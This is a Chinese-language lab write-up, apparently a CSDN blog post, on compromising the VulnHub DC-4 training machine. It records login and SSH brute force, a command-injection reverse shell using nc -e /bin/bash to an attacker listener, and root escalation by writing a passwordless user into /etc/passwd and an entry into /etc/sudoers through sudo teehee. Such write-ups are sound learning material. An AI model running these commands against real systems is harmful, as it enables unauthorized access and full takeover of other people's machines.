dc-4 靶机渗透学习

信息收集

第一步还是老办法,探测主机存活。

nmap -sP 192.168.202.0/24

通过推断得出192.168.202.142是靶机,具体请看dc-2、dc-3,对靶机进行端口扫描。

nmap -A -p- -v 192.168.202.142

发现22、80端口开启,访问一下80端口 ,发现是个登录页面。

 用Wappalyzer识别框架,没试别出,查看源代码发现只是一个简单的登录界面

 

这种情况感觉没必要再用nikto扫描了,尝试用bp爆破一波,使用集束炸弹模式。

爆破admin的字典用几个常用的用户名,爆破passwd的字典用bp自带的就行,如果两个都用自带的,你会发现有几千万个payload,爆到明年......

漏洞利用

 爆破成功得到的账号密码

admin

happy

回到登录界面,进行登录。你第一次输入账号密码后会显示还是当前页面,这个时候继续输入一次账号密码,才能登录成功。

进去后随便点一点run按钮,发现有可能存在命令执行漏洞

 

抓取数据包尝试进行修改,发现可以任意命令执行

 

这里为了方便使用,进行反弹shell

在kali机

nc -lvnp 8888

命令执行处

nc+-e+/bin/bash+192.168.202.129+8888

拿到shell后,再利用python得到交互式的shell,这样方便我们操作,也能避免我们因为退出而导致需要重新或许使用nc反弹shell

python -c 'import pty; pty.spawn("/bin/bash")'

提权

当前得到的是低权限的shell,尝试进行提权。

SUID提权

find / -perm -4000 -print 2>/dev/null

免密使用的root级别命令

sudo -l

 发现都失败了,find找出文件没有满足提权条件的,常见的可提权文件如下

nmap

vim

find

bash

more

less

nano

cp

并且sudo需要密码.....我们也没有密码啊.... 

然后我也试过用wget下载提权辅助的脚本,也扫出五六个漏洞。 

之后通过漏洞所给的网站下载,发现是c文件。下载到shell中,用cat查看1.c后发现没有给出用法,那么采取一般的使用方式

先用gcc 1.c -o 1编译生成1,使用./1运行

但很多个漏洞运行都因为靶机缺少各种各样的东西导致没提权成功........ 

GCC编译常用命令_bible_reader的博客-CSDN博客_gcc编译命令

linux里source、sh、bash、./有什么区别 - pcat - 博客园

这时候该怎么办呢?不要忘记了前面扫出来的ssh服务。根据前几个靶机的经验,ssh用户都是在/home路径下,所以查看一下/home路径。

经过测试,发现只有jim目录是有东西的,在jim/backups下找到了old-passwords.bak文件

到这里大概思路就有了,对ssh进行爆破,推荐两款工具。

ssh暴力破解工具 - 简书 (jianshu.com)

这里使用hydra进行暴力破解,将old-passwords.bak文件的内容复制到pass.txt里面,爆破的时候记得不要输错命令。

hydra -l jim -P /home/pass.txt  192.168.202.142 ssh

得到密码jibril04,进行连接。

ssh jim@192.168.202.142

在打靶机的时候一定要注意信息的收集,连接上jim后,会发来一段信息,别跳过,关键就可能在这。

不知道邮件在哪个目录,随便翻翻,看看最常用的usr、var。在var目录发现mail,打开jim的邮件看看。

发现里面有charles用户的密码,不知道有啥用,先试试当前能不能进行SUID提权和免密使用root目录。

发现都没有成功,那切换到charles用户看看

su charles

继续尝试上面两种提权方式,发现可以免密使用root级别的teehee命令

teehee命令和tee命令差不多,接下来就是利用teehee命令提权

Linux tee命令 | 菜鸟教程 (runoob.com)

提权思路一

前置知识

etc/passwd:它是一个可读的文本文件,存储用户帐户的信息

etc/group:也是一个可读的文本文件,它存储组信息以及用户所属的组,可以通过该文件识别。

etc/shadow:它是一个包含加密密码的文件,任何用户的用户信息都将过期。

提权思路一是利用teehee的root权限在passwd中写入一个免密的root权限用户

使用echo 命令与 sudo 命令配合使用,可以实现向那些只有系统管理员才有权限操作的文件中写入信息。

echo "love::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

passwd文件解读:(简单理解这个即可)
root:x:0:0::/home/admin:/bin/bash
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
"-a" 选项的作用等同于 ">>" 命令
【额外补充:没有给新用户创建密码是因为你创建了也没有用,因为第2个位置是密码占位符,是占位符!!!】

如果想要加入密码,可以参考下面这篇博客生成密码的方法进行添加,可以跳过一二点,直接生成密码。

 编辑/etc/passwd文件进行权限升级的技巧 - 渗透测试中心 - 博客园

经过测试一下命令都可以生成有效的密码,以下密码都为123,后面的aa可以是其它字符。

openssl passwd 123

python -c 'import crypt; print crypt.crypt("123", "aa")'

perl -le 'print crypt("123", "aa")'

php -r "print(crypt('123','aa') . \"\n\");"

利用方式

提权思路二

利用teehee往sudoers里写入charles ALL=(ALL:ALL) ALL 让charles用户可以无密码执行sudo

echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers

sudoer配置文件错误提权 

有的时候,普通用户经常要执行某个命令,但是经常需要sudo输入密码,我们就可以通过配置/etc/sudoers文件来实现普通用户某个命令权限的提升。但是如果一旦是给了用户写入root权限的命令,比如vi,那么这个普通用户一旦被入侵,就可以通过vi来提权

解释一下payload中的参数, 如:

root:代表用户
第一个ALL:之网络中的主机,我也不知道什么意思,但是这个all还是不动好了
第二个(ALL:ALL):指以谁的身份去执行,root就行了
第三个ALL:指所有的命令,可以自己制定,比如/bin/ls,/bin/nc

看一下例子:代表用户zaq可以以root的权限运行ls指令

 前边要加sudo,可以看到zaq用户成功查看了/root目录的结构 

 sudo -l 显示出自己(执行 sudo 的使用者)的权限 

所以我们可以使用payload,让charles用户用sudo无密码执行各种命令,实现权限的提升。

参考文章

vulnhub-DC4靶机 - xinZa1

vulnhub靶机DC-4 渗透笔记_liver100day的博客-CSDN博客

dc-4靶机渗透记录_甜不拉几的博客-CSDN博客

Linux通过第三方应用提权实战总结 - FreeBuf网络安全行业门户

Linux 提权的各种姿势总结 - 云+社区 - 腾讯云 (tencent.com)

最详细Linux提权总结(建议收藏) - 随风kali - 博客园 (cnblogs.com)

Linux提权的几种常用方式 - 知乎 (zhihu.com)

黑客工具之hydra详细使用教程 - 知乎 (zhihu.com)

linux里source、sh、bash、./有什么区别 - pcat - 博客园 (cnblogs.com)

编辑/etc/passwd文件进行权限升级的技巧 - 渗透测试中心 - 博客园 (cnblogs.com)

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值